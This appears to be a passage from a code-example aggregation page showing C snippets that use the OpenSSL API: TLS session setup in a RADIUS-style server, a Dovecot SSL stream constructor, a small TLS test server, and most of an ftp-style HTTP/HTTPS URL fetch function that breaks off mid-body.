		static_assert(sizeof(digest) <= SSL_MAX_SSL_SESSION_ID_LENGTH,
			      "SSL_MAX_SSL_SESSION_ID_LENGTH must be >= SHA256_DIGEST_LENGTH");

		if (tmpl_aexpand(session, &context_id, request, conf->session_id_name, NULL, NULL) < 0) {
			RPEDEBUG("Failed expanding session ID");
			talloc_free(session);
		}

		MEM(md_ctx = EVP_MD_CTX_create());
		EVP_DigestInit_ex(md_ctx, EVP_sha256(), NULL);
		EVP_DigestUpdate(md_ctx, context_id, talloc_array_length(context_id) - 1);
		EVP_DigestFinal_ex(md_ctx, digest, NULL);
		EVP_MD_CTX_destroy(md_ctx);
		talloc_free(context_id);

		if (!fr_cond_assert(SSL_set_session_id_context(session->ssl, digest, sizeof(digest)) == 1)) {
			talloc_free(session);
			return NULL;
		}
	}

	/*
	 *	Add the session certificate to the session.
	 */
	vp = fr_pair_find_by_da(request->control, attr_tls_session_cert_file, TAG_ANY);
	if (vp) {
		RDEBUG2("Loading TLS session certificate \"%s\"", vp->vp_strvalue);

		if (SSL_use_certificate_file(session->ssl, vp->vp_strvalue, SSL_FILETYPE_PEM) != 1) {
			tls_log_error(request, "Failed loading TLS session certificate \"%s\"",
				      vp->vp_strvalue);
			talloc_free(session);
			return NULL;
		}

		if (SSL_use_PrivateKey_file(session->ssl, vp->vp_strvalue, SSL_FILETYPE_PEM) != 1) {
			tls_log_error(request, "Failed loading TLS session certificate \"%s\"",
				      vp->vp_strvalue);
			talloc_free(session);
			return NULL;
		}

		if (SSL_check_private_key(session->ssl) != 1) {
			tls_log_error(request, "Failed validating TLS session certificate \"%s\"",
				      vp->vp_strvalue);
			talloc_free(session);
			return NULL;
		}
	/*
	 *	Better to perform explicit checks, than rely
	 *	on OpenSSL's opaque error messages.
	 */
	} else {
		if (!conf->chains || !conf->chains[0]->private_key_file) {
			ERROR("TLS Server requires a private key file");
			talloc_free(session);
			return NULL;
		}

		if (!conf->chains || !conf->chains[0]->certificate_file) {
			ERROR("TLS Server requires a certificate file");
			talloc_free(session);
			return NULL;
		}
	}

	/*
	 *	In Server mode we only accept.
	 *
	 *	This sets up the SSL session to work correctly with
	 *	tls_session_handhsake.
	 */
	SSL_set_accept_state(session->ssl);

	/*
	 *	Verify the peer certificate, if asked.
	 */
	if (client_cert) {
		RDEBUG2("Setting verify mode to require certificate from client");
		verify_mode = SSL_VERIFY_PEER;
		verify_mode |= SSL_VERIFY_FAIL_IF_NO_PEER_CERT;
		verify_mode |= SSL_VERIFY_CLIENT_ONCE;
	}
	SSL_set_verify(session->ssl, verify_mode, tls_validate_cert_cb);

	SSL_set_ex_data(session->ssl, FR_TLS_EX_INDEX_CONF, (void *)conf);
	SSL_set_ex_data(session->ssl, FR_TLS_EX_INDEX_TLS_SESSION, (void *)session);

	/*
	 *	We use default fragment size, unless the Framed-MTU
	 *	tells us it's too big.  Note that we do NOT account
	 *	for the EAP-TLS headers if conf->fragment_size is
	 *	large, because that config item looks to be confusing.
	 *
	 *	i.e. it should REALLY be called MTU, and the code here
	 *	should figure out what that means for TLS fragment size.
	 *	asking the administrator to know the internal details
	 *	of EAP-TLS in order to calculate fragment sizes is
	 *	just too much.
	 */
	session->mtu = conf->fragment_size;
	vp = fr_pair_find_by_da(request->packet->vps, attr_framed_mtu, TAG_ANY);
	if (vp && (vp->vp_uint32 > 100) && (vp->vp_uint32 < session->mtu)) {
		RDEBUG2("Setting fragment_len to %u from &Framed-MTU", vp->vp_uint32);
		session->mtu = vp->vp_uint32;
	}

	if (conf->session_cache_server) session->allow_session_resumption = true; /* otherwise it's false */

	return session;
}
Exemple #26
0
static int
openssl_iostream_create(struct ssl_iostream_context *ctx, const char *host,
			const struct ssl_iostream_settings *set,
			struct istream **input, struct ostream **output,
			struct ssl_iostream **iostream_r,
			const char **error_r)
{
	struct ssl_iostream *ssl_io;
	SSL *ssl;
	BIO *bio_int, *bio_ext;

	ssl = SSL_new(ctx->ssl_ctx);
	if (ssl == NULL) {
		*error_r = t_strdup_printf("SSL_new() failed: %s",
					   openssl_iostream_error());
		return -1;
	}

	/* BIO pairs use default buffer sizes (17 kB in OpenSSL 0.9.8e).
	   Each of the BIOs have one "write buffer". BIO_write() copies data
	   to them, while BIO_read() reads from the other BIO's write buffer
	   into the given buffer. The bio_int is used by OpenSSL and bio_ext
	   is used by this library. */
	if (BIO_new_bio_pair(&bio_int, 0, &bio_ext, 0) != 1) {
		*error_r = t_strdup_printf("BIO_new_bio_pair() failed: %s",
					   openssl_iostream_error());
		SSL_free(ssl);
		return -1;
	}

	ssl_io = i_new(struct ssl_iostream, 1);
	ssl_io->refcount = 1;
	ssl_io->ctx = ctx;
	ssl_io->ssl = ssl;
	ssl_io->bio_ext = bio_ext;
	ssl_io->plain_input = *input;
	ssl_io->plain_output = *output;
	ssl_io->host = i_strdup(host);
	ssl_io->log_prefix = host == NULL ? i_strdup("") :
		i_strdup_printf("%s: ", host);
	/* bio_int will be freed by SSL_free() */
	SSL_set_bio(ssl_io->ssl, bio_int, bio_int);
        SSL_set_ex_data(ssl_io->ssl, dovecot_ssl_extdata_index, ssl_io);
#ifdef HAVE_SSL_GET_SERVERNAME
	SSL_set_tlsext_host_name(ssl_io->ssl, host);
#endif

	if (openssl_iostream_set(ssl_io, set, error_r) < 0) {
		openssl_iostream_free(ssl_io);
		return -1;
	}

	o_stream_uncork(ssl_io->plain_output);

	*input = openssl_i_stream_create_ssl(ssl_io);
	*output = openssl_o_stream_create_ssl(ssl_io);
	i_stream_set_name(*input, t_strconcat("SSL ",
		i_stream_get_name(ssl_io->plain_input), NULL));
	o_stream_set_name(*output, t_strconcat("SSL ",
		o_stream_get_name(ssl_io->plain_output), NULL));

	if (ssl_io->plain_output->real_stream->error_handling_disabled)
		o_stream_set_no_error_handling(*output, TRUE);

	ssl_io->ssl_output = *output;
	*iostream_r = ssl_io;
	return 0;
}
Exemple #27
0
int main(int argc, char *argv[]) {
    SSL_METHOD *my_ssl_method;
    SSL_CTX *my_ssl_ctx;
    SSL *my_ssl;
    BIO *server_bio, *client_bio;
    int error = 0, wrote = 0;
    char buffer[] = "Hello there! Welcome to the SSL test server.\n\n";

    OpenSSL_add_all_algorithms();
    SSL_library_init();
    SSL_load_error_strings();

    my_ssl_method = TLSv1_server_method();

    if ((my_ssl_ctx = SSL_CTX_new(my_ssl_method)) == NULL) {
        ERR_print_errors_fp(stderr);
        exit(1);
    }

    SSL_CTX_use_certificate_file(my_ssl_ctx, "server.pem", SSL_FILETYPE_PEM); 
    SSL_CTX_use_PrivateKey_file(my_ssl_ctx, "server.pem", SSL_FILETYPE_PEM);

    if (!SSL_CTX_check_private_key(my_ssl_ctx)) {
        fprintf(stderr, "Private key does not match certificate\n");
        exit(1);
    }

    if ((server_bio = BIO_new_accept("5353")) == NULL) {
        ERR_print_errors_fp(stderr);
        exit(1);
    }

    if (BIO_do_accept(server_bio) <= 0) {
        ERR_print_errors_fp(stderr);
        exit(1);
    }

    for (;;) {
        if (BIO_do_accept(server_bio) <= 0) {
            ERR_print_errors_fp(stderr);
            exit(1);
        }

        client_bio = BIO_pop(server_bio);

        if ((my_ssl = SSL_new(my_ssl_ctx)) == NULL) {
            ERR_print_errors_fp(stderr);
            exit(1);
        }

        SSL_set_bio(my_ssl,client_bio,client_bio);

        if (SSL_accept(my_ssl) <= 0) {
            ERR_print_errors_fp(stderr);
            exit(1);
        }

        printf("Connection made with [version,cipher]: [%s,%s]\n", SSL_get_version(my_ssl), SSL_get_cipher(my_ssl));

        for (wrote = 0; wrote < strlen(buffer); wrote += error) {
            error = SSL_write(my_ssl,buffer+wrote,strlen(buffer)-wrote);

            if (error <= 0)
                break;
        }

        SSL_shutdown(my_ssl);
        SSL_free(my_ssl);
    }

    SSL_CTX_free(my_ssl_ctx);
    SSL_BIO_free(server_bio);

    return 0;
}
Exemple #28
0
/*
 * Retrieve URL, via the proxy in $proxyvar if necessary.
 * Modifies the string argument given.
 * Returns -1 on failure, 0 on success
 */
static int
url_get(const char *origline, const char *proxyenv, const char *outfile)
{
	char pbuf[NI_MAXSERV], hbuf[NI_MAXHOST], *cp, *portnum, *path, ststr[4];
	char *hosttail, *cause = "unknown", *newline, *host, *port, *buf = NULL;
	char *epath, *redirurl, *loctail, *h, *p;
	int error, i, isftpurl = 0, isfileurl = 0, isredirect = 0, rval = -1;
	struct addrinfo hints, *res0, *res, *ares = NULL;
	const char * volatile savefile;
	char * volatile proxyurl = NULL;
	char *cookie = NULL;
	volatile int s = -1, out;
	volatile sig_t oldintr, oldinti;
	FILE *fin = NULL;
	off_t hashbytes;
	const char *errstr;
	ssize_t len, wlen;
#ifndef SMALL
	char *sslpath = NULL, *sslhost = NULL;
	char *locbase, *full_host = NULL, *auth = NULL;
	const char *scheme;
	int ishttpsurl = 0;
	SSL_CTX *ssl_ctx = NULL;
#endif /* !SMALL */
	SSL *ssl = NULL;
	int status;
	int save_errno;
	const size_t buflen = 128 * 1024;

	direction = "received";

	newline = strdup(origline);
	if (newline == NULL)
		errx(1, "Can't allocate memory to parse URL");
	if (strncasecmp(newline, HTTP_URL, sizeof(HTTP_URL) - 1) == 0) {
		host = newline + sizeof(HTTP_URL) - 1;
#ifndef SMALL
		scheme = HTTP_URL;
#endif /* !SMALL */
	} else if (strncasecmp(newline, FTP_URL, sizeof(FTP_URL) - 1) == 0) {
		host = newline + sizeof(FTP_URL) - 1;
		isftpurl = 1;
#ifndef SMALL
		scheme = FTP_URL;
#endif /* !SMALL */
	} else if (strncasecmp(newline, FILE_URL, sizeof(FILE_URL) - 1) == 0) {
		host = newline + sizeof(FILE_URL) - 1;
		isfileurl = 1;
#ifndef SMALL
		scheme = FILE_URL;
	} else if (strncasecmp(newline, HTTPS_URL, sizeof(HTTPS_URL) - 1) == 0) {
		host = newline + sizeof(HTTPS_URL) - 1;
		ishttpsurl = 1;
		scheme = HTTPS_URL;
#endif /* !SMALL */
	} else
		errx(1, "url_get: Invalid URL '%s'", newline);

	if (isfileurl) {
		path = host;
	} else {
		path = strchr(host, '/');		/* Find path */
		if (EMPTYSTRING(path)) {
			if (outfile) {			/* No slash, but */
				path=strchr(host,'\0');	/* we have outfile. */
				goto noslash;
			}
			if (isftpurl)
				goto noftpautologin;
			warnx("No `/' after host (use -o): %s", origline);
			goto cleanup_url_get;
		}
		*path++ = '\0';
		if (EMPTYSTRING(path) && !outfile) {
			if (isftpurl)
				goto noftpautologin;
			warnx("No filename after host (use -o): %s", origline);
			goto cleanup_url_get;
		}
	}

noslash:

#ifndef SMALL
	/*
	 * Look for auth header in host, since now host does not
	 * contain the path. Basic auth from RFC 2617, valid
	 * characters for path are in RFC 3986 section 3.3.
	 */
	if (proxyenv == NULL &&
	    (!strcmp(scheme, HTTP_URL) || !strcmp(scheme, HTTPS_URL))) {
		if ((p = strchr(host, '@')) != NULL) {
			size_t authlen = (strlen(host) + 5) * 4 / 3;
			*p = 0;	/* Kill @ */
			if ((auth = malloc(authlen)) == NULL)
				err(1, "Can't allocate memory for "
				    "authorization");
			if (b64_ntop(host, strlen(host),
			    auth, authlen) == -1)
				errx(1, "error in base64 encoding");
			host = p + 1;
		}
	}
#endif	/* SMALL */

	if (outfile)
		savefile = outfile;
	else {
		if (path[strlen(path) - 1] == '/')	/* Consider no file */
			savefile = NULL;		/* after dir invalid. */
		else
			savefile = basename(path);
	}

	if (EMPTYSTRING(savefile)) {
		if (isftpurl)
			goto noftpautologin;
		warnx("No filename after directory (use -o): %s", origline);
		goto cleanup_url_get;
	}

#ifndef SMALL
	if (resume && pipeout) {
		warnx("can't append to stdout");
		goto cleanup_url_get;
	}
#endif /* !SMALL */

	if (!isfileurl && proxyenv != NULL) {		/* use proxy */
#ifndef SMALL
		if (ishttpsurl) {
			sslpath = strdup(path);
			sslhost = strdup(host);
			if (! sslpath || ! sslhost)
				errx(1, "Can't allocate memory for https path/host.");
		}
#endif /* !SMALL */
		proxyurl = strdup(proxyenv);
		if (proxyurl == NULL)
			errx(1, "Can't allocate memory for proxy URL.");
		if (strncasecmp(proxyurl, HTTP_URL, sizeof(HTTP_URL) - 1) == 0)
			host = proxyurl + sizeof(HTTP_URL) - 1;
		else if (strncasecmp(proxyurl, FTP_URL, sizeof(FTP_URL) - 1) == 0)
			host = proxyurl + sizeof(FTP_URL) - 1;
		else {
			warnx("Malformed proxy URL: %s", proxyenv);
			goto cleanup_url_get;
		}
		if (EMPTYSTRING(host)) {
			warnx("Malformed proxy URL: %s", proxyenv);
			goto cleanup_url_get;
		}
		if (*--path == '\0')
			*path = '/';		/* add / back to real path */
		path = strchr(host, '/');	/* remove trailing / on host */
		if (!EMPTYSTRING(path))
			*path++ = '\0';		/* i guess this ++ is useless */

		path = strchr(host, '@');	/* look for credentials in proxy */
		if (!EMPTYSTRING(path)) {
			*path = '\0';
			cookie = strchr(host, ':');
			if (EMPTYSTRING(cookie)) {
				warnx("Malformed proxy URL: %s", proxyenv);
				goto cleanup_url_get;
			}
			cookie  = malloc(COOKIE_MAX_LEN);
			if (cookie == NULL)
				errx(1, "out of memory");
			if (b64_ntop(host, strlen(host), cookie, COOKIE_MAX_LEN) == -1)
				errx(1, "error in base64 encoding");
			*path = '@'; /* restore @ in proxyurl */
			/*
			 * This removes the password from proxyurl,
			 * filling with stars
			 */
			for (host = 1 + strchr(proxyurl + 5, ':');  *host != '@';
			     host++)
				*host = '*';

			host = path + 1;
		}
		path = newline;
	}

	if (isfileurl) {
		struct stat st;

		s = open(path, O_RDONLY);
		if (s == -1) {
			warn("Can't open file %s", path);
			goto cleanup_url_get;
		}

		if (fstat(s, &st) == -1)
			filesize = -1;
		else
			filesize = st.st_size;

		/* Open the output file.  */
		if (!pipeout) {
#ifndef SMALL
			if (resume)
				out = open(savefile, O_CREAT | O_WRONLY |
					O_APPEND, 0666);

			else
#endif /* !SMALL */
				out = open(savefile, O_CREAT | O_WRONLY |
					O_TRUNC, 0666);
			if (out < 0) {
				warn("Can't open %s", savefile);
				goto cleanup_url_get;
			}
		} else
			out = fileno(stdout);

#ifndef SMALL
		if (resume) {
			if (fstat(out, &st) == -1) {
				warn("Can't fstat %s", savefile);
				goto cleanup_url_get;
			}
			if (lseek(s, st.st_size, SEEK_SET) == -1) {
				warn("Can't lseek %s", path);
				goto cleanup_url_get;
			}
			restart_point = st.st_size;
		}
#endif /* !SMALL */

		/* Trap signals */
		oldintr = NULL;
		oldinti = NULL;
		if (setjmp(httpabort)) {
			if (oldintr)
				(void)signal(SIGINT, oldintr);
			if (oldinti)
				(void)signal(SIGINFO, oldinti);
			goto cleanup_url_get;
		}
		oldintr = signal(SIGINT, abortfile);

		bytes = 0;
		hashbytes = mark;
		progressmeter(-1, path);

		if ((buf = malloc(buflen)) == NULL)
			errx(1, "Can't allocate memory for transfer buffer");

		/* Finally, suck down the file. */
		i = 0;
		oldinti = signal(SIGINFO, psummary);
		while ((len = read(s, buf, buflen)) > 0) {
			bytes += len;
			for (cp = buf; len > 0; len -= i, cp += i) {
				if ((i = write(out, cp, len)) == -1) {
					warn("Writing %s", savefile);
					signal(SIGINFO, oldinti);
					goto cleanup_url_get;
				}
				else if (i == 0)
					break;
			}
			if (hash && !progress) {
				while (bytes >= hashbytes) {
					(void)putc('#', ttyout);
					hashbytes += mark;
				}
				(void)fflush(ttyout);
			}
		}
		signal(SIGINFO, oldinti);
		if (hash && !progress && bytes > 0) {
			if (bytes < mark)
				(void)putc('#', ttyout);
			(void)putc('\n', ttyout);
			(void)fflush(ttyout);
		}
		if (len != 0) {
			warn("Reading from file");
			goto cleanup_url_get;
		}
		progressmeter(1, NULL);
		if (verbose)
			ptransfer(0);
		(void)signal(SIGINT, oldintr);

		rval = 0;
		goto cleanup_url_get;
	}

	if (*host == '[' && (hosttail = strrchr(host, ']')) != NULL &&
	    (hosttail[1] == '\0' || hosttail[1] == ':')) {
		host++;
		*hosttail++ = '\0';
#ifndef SMALL
		if (asprintf(&full_host, "[%s]", host) == -1)
			errx(1, "Cannot allocate memory for hostname");
#endif /* !SMALL */
	} else
		hosttail = host;

	portnum = strrchr(hosttail, ':');		/* find portnum */
	if (portnum != NULL)
		*portnum++ = '\0';

#ifndef SMALL
	if (full_host == NULL)
		if ((full_host = strdup(host)) == NULL)
			errx(1, "Cannot allocate memory for hostname");
	if (debug)
		fprintf(ttyout, "host %s, port %s, path %s, "
		    "save as %s, auth %s.\n",
		    host, portnum, path, savefile, auth);
#endif /* !SMALL */

	memset(&hints, 0, sizeof(hints));
	hints.ai_family = family;
	hints.ai_socktype = SOCK_STREAM;
#ifndef SMALL
	port = portnum ? portnum : (ishttpsurl ? httpsport : httpport);
#else /* !SMALL */
	port = portnum ? portnum : httpport;
#endif /* !SMALL */
	error = getaddrinfo(host, port, &hints, &res0);
	/*
	 * If the services file is corrupt/missing, fall back
	 * on our hard-coded defines.
	 */
	if (error == EAI_SERVICE && port == httpport) {
		snprintf(pbuf, sizeof(pbuf), "%d", HTTP_PORT);
		error = getaddrinfo(host, pbuf, &hints, &res0);
#ifndef SMALL
	} else if (error == EAI_SERVICE && port == httpsport) {
		snprintf(pbuf, sizeof(pbuf), "%d", HTTPS_PORT);
		error = getaddrinfo(host, pbuf, &hints, &res0);
#endif /* !SMALL */
	}
	if (error) {
		warnx("%s: %s", gai_strerror(error), host);
		goto cleanup_url_get;
	}

#ifndef SMALL
	if (srcaddr) {
		hints.ai_flags |= AI_NUMERICHOST;
		error = getaddrinfo(srcaddr, NULL, &hints, &ares);
		if (error) {
			warnx("%s: %s", gai_strerror(error), srcaddr);
			goto cleanup_url_get;
		}
	}
#endif /* !SMALL */

	s = -1;
	for (res = res0; res; res = res->ai_next) {
		if (getnameinfo(res->ai_addr, res->ai_addrlen, hbuf,
		    sizeof(hbuf), NULL, 0, NI_NUMERICHOST) != 0)
			strlcpy(hbuf, "(unknown)", sizeof(hbuf));
		if (verbose)
			fprintf(ttyout, "Trying %s...\n", hbuf);

		s = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
		if (s == -1) {
			cause = "socket";
			continue;
		}

#ifndef SMALL
		if (srcaddr) {
			if (ares->ai_family != res->ai_family) {
				close(s);
				s = -1;
				errno = EINVAL;
				cause = "bind";
				continue;
			}
			if (bind(s, ares->ai_addr, ares->ai_addrlen) < 0) {
				save_errno = errno;
				close(s);
				errno = save_errno;
				s = -1;
				cause = "bind";
				continue;
			}
		}
#endif /* !SMALL */

again:
		if (connect(s, res->ai_addr, res->ai_addrlen) < 0) {
			if (errno == EINTR)
				goto again;
			save_errno = errno;
			close(s);
			errno = save_errno;
			s = -1;
			cause = "connect";
			continue;
		}

		/* get port in numeric */
		if (getnameinfo(res->ai_addr, res->ai_addrlen, NULL, 0,
		    pbuf, sizeof(pbuf), NI_NUMERICSERV) == 0)
			port = pbuf;
		else
			port = NULL;

#ifndef SMALL
		if (proxyenv && sslhost)
			proxy_connect(s, sslhost, cookie);
#endif /* !SMALL */
		break;
	}
	freeaddrinfo(res0);
#ifndef SMALL
	if (srcaddr)
		freeaddrinfo(ares);
#endif /* !SMALL */
	if (s < 0) {
		warn("%s", cause);
		goto cleanup_url_get;
	}

#ifndef SMALL
	if (ishttpsurl) {
		union { struct in_addr ip4; struct in6_addr ip6; } addrbuf;

		if (proxyenv && sslpath) {
			ishttpsurl = 0;
			proxyurl = NULL;
			path = sslpath;
		}
		SSL_library_init();
		SSL_load_error_strings();
		ssl_ctx = SSL_CTX_new(SSLv23_client_method());
		if (ssl_ctx == NULL) {
			ERR_print_errors_fp(ttyout);
			goto cleanup_url_get;
		}
		if (ssl_verify) {
			if (ssl_ca_file == NULL && ssl_ca_path == NULL)
				ssl_ca_file = _PATH_SSL_CAFILE;
			if (SSL_CTX_load_verify_locations(ssl_ctx,
			    ssl_ca_file, ssl_ca_path) != 1) {
				ERR_print_errors_fp(ttyout);
				goto cleanup_url_get;
			}
			SSL_CTX_set_verify(ssl_ctx, SSL_VERIFY_PEER, NULL);
			if (ssl_verify_depth != -1)
				SSL_CTX_set_verify_depth(ssl_ctx,
				    ssl_verify_depth);
		}
		if (ssl_ciphers != NULL &&
		    SSL_CTX_set_cipher_list(ssl_ctx, ssl_ciphers) == -1) {
			ERR_print_errors_fp(ttyout);
			goto cleanup_url_get;
		}
		ssl = SSL_new(ssl_ctx);
		if (ssl == NULL) {
			ERR_print_errors_fp(ttyout);
			goto cleanup_url_get;
		}
		if (SSL_set_fd(ssl, s) == 0) {
			ERR_print_errors_fp(ttyout);
			goto cleanup_url_get;
		}
		/*
		 * RFC4366 (SNI): Literal IPv4 and IPv6 addresses are not
		 * permitted in "HostName".
		 */
		if (inet_pton(AF_INET,  host, &addrbuf) != 1 &&
		    inet_pton(AF_INET6, host, &addrbuf) != 1) {
			if (SSL_set_tlsext_host_name(ssl, host) == 0) {
				ERR_print_errors_fp(ttyout);
				goto cleanup_url_get;
			}
		}
		if (SSL_connect(ssl) <= 0) {
			ERR_print_errors_fp(ttyout);
			goto cleanup_url_get;
		}
		if (ssl_verify) {
			X509	*cert;

			cert = SSL_get_peer_certificate(ssl);
			if (cert == NULL) {
				fprintf(ttyout, "%s: no server certificate\n",
				    getprogname());
				goto cleanup_url_get;
			}

			if (ssl_check_hostname(cert, host) != 0) {
				fprintf(ttyout, "%s: host `%s' not present in"
				    " server certificate\n",
				    getprogname(), host);
				goto cleanup_url_get;
			}

			X509_free(cert);
		}
	} else {
		fin = fdopen(s, "r+");
	}
#else /* !SMALL */
	fin = fdopen(s, "r+");
#endif /* !SMALL */

	if (verbose)
		fprintf(ttyout, "Requesting %s", origline);

	/*
	 * Construct and send the request. Proxy requests don't want leading /.
	 */
#ifndef SMALL
	cookie_get(host, path, ishttpsurl, &buf);
#endif /* !SMALL */

	epath = url_encode(path);
	if (proxyurl) {
		if (verbose)
			fprintf(ttyout, " (via %s)\n", proxyurl);
		/*
		 * Host: directive must use the destination host address for
		 * the original URI (path).  We do not attach it at this moment.
		 */
		if (cookie)
			ftp_printf(fin, ssl, "GET %s HTTP/1.0\r\n"
			    "Proxy-Authorization: Basic %s%s\r\n%s\r\n\r\n",
			    epath, cookie, buf ? buf : "", HTTP_USER_AGENT);
		else
			ftp_printf(fin, ssl, "GET %s HTTP/1.0\r\n%s%s\r\n\r\n",
			    epath, buf ? buf : "", HTTP_USER_AGENT);

	} else {
#ifndef SMALL
		if (resume) {
			struct stat stbuf;

			if (stat(savefile, &stbuf) == 0)
				restart_point = stbuf.st_size;
			else
				restart_point = 0;
		}
		if (auth) {
			ftp_printf(fin, ssl,
			    "GET /%s %s\r\nAuthorization: Basic %s\r\nHost: ",
			    epath, restart_point ?
			    "HTTP/1.1\r\nConnection: close" : "HTTP/1.0",
			    auth);
			free(auth);
			auth = NULL;
		} else
#endif	/* SMALL */
			ftp_printf(fin, ssl, "GET /%s %s\r\nHost: ", epath,
#ifndef SMALL
			    restart_point ? "HTTP/1.1\r\nConnection: close" :
#endif /* !SMALL */
			    "HTTP/1.0");
		if (strchr(host, ':')) {
			/*
			 * strip off scoped address portion, since it's
			 * local to node
			 */
			h = strdup(host);
			if (h == NULL)
				errx(1, "Can't allocate memory.");
			if ((p = strchr(h, '%')) != NULL)
				*p = '\0';
			ftp_printf(fin, ssl, "[%s]", h);
			free(h);
		} else
			ftp_printf(fin, ssl, "%s", host);

		/*
		 * Send port number only if it's specified and does not equal
		 * 80. Some broken HTTP servers get confused if you explicitly
		 * send them the port number.
		 */
#ifndef SMALL
		if (port && strcmp(port, (ishttpsurl ? "443" : "80")) != 0)
			ftp_printf(fin, ssl, ":%s", port);
		if (restart_point)
			ftp_printf(fin, ssl, "\r\nRange: bytes=%lld-",
				(long long)restart_point);
#else /* !SMALL */
		if (port && strcmp(port, "80") != 0)
			ftp_printf(fin, ssl, ":%s", port);
#endif /* !SMALL */
		ftp_printf(fin, ssl, "\r\n%s%s\r\n\r\n",
		    buf ? buf : "", HTTP_USER_AGENT);
		if (verbose)
			fprintf(ttyout, "\n");
	}
	free(epath);

#ifndef SMALL
	free(buf);
#endif /* !SMALL */
	buf = NULL;

	if (fin != NULL && fflush(fin) == EOF) {
		warn("Writing HTTP request");
		goto cleanup_url_get;
	}
	if ((buf = ftp_readline(fin, ssl, &len)) == NULL) {
		warn("Receiving HTTP reply");
		goto cleanup_url_get;
	}

	while (len > 0 && (buf[len-1] == '\r' || buf[len-1] == '\n'))
		buf[--len] = '\0';
#ifndef SMALL
	if (debug)
		fprintf(ttyout, "received '%s'\n", buf);
#endif /* !SMALL */

	cp = strchr(buf, ' ');
	if (cp == NULL)
		goto improper;
	else
		cp++;

	strlcpy(ststr, cp, sizeof(ststr));
	status = strtonum(ststr, 200, 416, &errstr);
	if (errstr) {
		warnx("Error retrieving file: %s", cp);
		goto cleanup_url_get;
	}

	switch (status) {
	case 200:	/* OK */
#ifndef SMALL
		/*
		 * When we request a partial file, and we receive an HTTP 200
		 * it is a good indication that the server doesn't support
		 * range requests, and is about to send us the entire file.
		 * If the restart_point == 0, then we are not actually
		 * requesting a partial file, and an HTTP 200 is appropriate.
		 */
		if (resume && restart_point != 0) {
			warnx("Server does not support resume.");
			restart_point = resume = 0;
		}
		/* FALLTHROUGH */
	case 206:	/* Partial Content */
#endif /* !SMALL */
		break;
	case 301:	/* Moved Permanently */
	case 302:	/* Found */
	case 303:	/* See Other */
	case 307:	/* Temporary Redirect */
		isredirect++;
		if (redirect_loop++ > 10) {
			warnx("Too many redirections requested");
			goto cleanup_url_get;
		}
		break;
#ifndef SMALL
	case 416:	/* Requested Range Not Satisfiable */
		warnx("File is already fully retrieved.");
		goto cleanup_url_get;
#endif /* !SMALL */
	default:
		warnx("Error retrieving file: %s", cp);
		goto cleanup_url_get;
	}

	/*
	 * Read the rest of the header.
	 */
	free(buf);
	filesize = -1;

	for (;;) {
		if ((buf = ftp_readline(fin, ssl, &len)) == NULL) {
			warn("Receiving HTTP reply");
			goto cleanup_url_get;
		}

		while (len > 0 && (buf[len-1] == '\r' || buf[len-1] == '\n'))
			buf[--len] = '\0';
		if (len == 0)
			break;
#ifndef SMALL
		if (debug)
			fprintf(ttyout, "received '%s'\n", buf);
#endif /* !SMALL */

		/* Look for some headers */
		cp = buf;
#define CONTENTLEN "Content-Length: "
		if (strncasecmp(cp, CONTENTLEN, sizeof(CONTENTLEN) - 1) == 0) {
			size_t s;
			cp += sizeof(CONTENTLEN) - 1;
			if ((s = strcspn(cp, " \t")))
				*(cp+s) = 0;
			filesize = strtonum(cp, 0, LLONG_MAX, &errstr);
			if (errstr != NULL)
				goto improper;
#ifndef SMALL
			if (restart_point)
				filesize += restart_point;
#endif /* !SMALL */
#define LOCATION "Location: "
		} else if (isredirect &&
		    strncasecmp(cp, LOCATION, sizeof(LOCATION) - 1) == 0) {
			cp += sizeof(LOCATION) - 1;
			if (strstr(cp, "://") == NULL) {
#ifdef SMALL
				errx(1, "Relative redirect not supported");
#else /* SMALL */
				if (*cp == '/') {
					locbase = NULL;
					cp++;
				} else {
					locbase = strdup(path);
					if (locbase == NULL)
						errx(1, "Can't allocate memory"
						    " for location base");
					loctail = strchr(locbase, '#');
					if (loctail != NULL)
						*loctail = '\0';
					loctail = strchr(locbase, '?');
					if (loctail != NULL)
						*loctail = '\0';
					loctail = strrchr(locbase, '/');
					if (loctail == NULL) {
						free(locbase);
						locbase = NULL;
					} else
						loctail[1] = '\0';
				}
				/* Contruct URL from relative redirect */
				if (asprintf(&redirurl, "%s%s%s%s/%s%s",
				    scheme, full_host,
				    portnum ? ":" : "",
				    portnum ? portnum : "",
				    locbase ? locbase : "",
				    cp) == -1)
					errx(1, "Cannot build "
					    "redirect URL");
				free(locbase);
#endif /* SMALL */
			} else if ((redirurl = strdup(cp)) == NULL)
				errx(1, "Cannot allocate memory for URL");
			loctail = strchr(redirurl, '#');
			if (loctail != NULL)
				*loctail = '\0';
			if (verbose)
				fprintf(ttyout, "Redirected to %s\n", redirurl);
			if (fin != NULL)
				fclose(fin);
			else if (s != -1)
				close(s);
			rval = url_get(redirurl, proxyenv, savefile);
			free(redirurl);
			goto cleanup_url_get;
		}
		free(buf);
	}

	/* Open the output file.  */
	if (!pipeout) {
#ifndef SMALL
		if (resume)
			out = open(savefile, O_CREAT | O_WRONLY | O_APPEND,
				0666);
		else
#endif /* !SMALL */
			out = open(savefile, O_CREAT | O_WRONLY | O_TRUNC,
				0666);
		if (out < 0) {
			warn("Can't open %s", savefile);
			goto cleanup_url_get;
		}
	} else
		out = fileno(stdout);

	/* Trap signals */
	oldintr = NULL;
	oldinti = NULL;
	if (setjmp(httpabort)) {
		if (oldintr)
			(void)signal(SIGINT, oldintr);
		if (oldinti)
			(void)signal(SIGINFO, oldinti);
		goto cleanup_url_get;
	}
	oldintr = signal(SIGINT, aborthttp);

	bytes = 0;
	hashbytes = mark;
	progressmeter(-1, path);

	free(buf);

	/* Finally, suck down the file. */
	if ((buf = malloc(buflen)) == NULL)
		errx(1, "Can't allocate memory for transfer buffer");
	i = 0;
	len = 1;
	oldinti = signal(SIGINFO, psummary);
	while (len > 0) {
		len = ftp_read(fin, ssl, buf, buflen);
		bytes += len;
		for (cp = buf, wlen = len; wlen > 0; wlen -= i, cp += i) {
			if ((i = write(out, cp, wlen)) == -1) {
				warn("Writing %s", savefile);
				signal(SIGINFO, oldinti);
				goto cleanup_url_get;
			}
			else if (i == 0)
				break;
		}
		if (hash && !progress) {
			while (bytes >= hashbytes) {
				(void)putc('#', ttyout);
				hashbytes += mark;
			}
			(void)fflush(ttyout);
		}
	}
	signal(SIGINFO, oldinti);
	if (hash && !progress && bytes > 0) {
		if (bytes < mark)
			(void)putc('#', ttyout);
		(void)putc('\n', ttyout);
		(void)fflush(ttyout);
	}
	if (len != 0) {
		warn("Reading from socket");
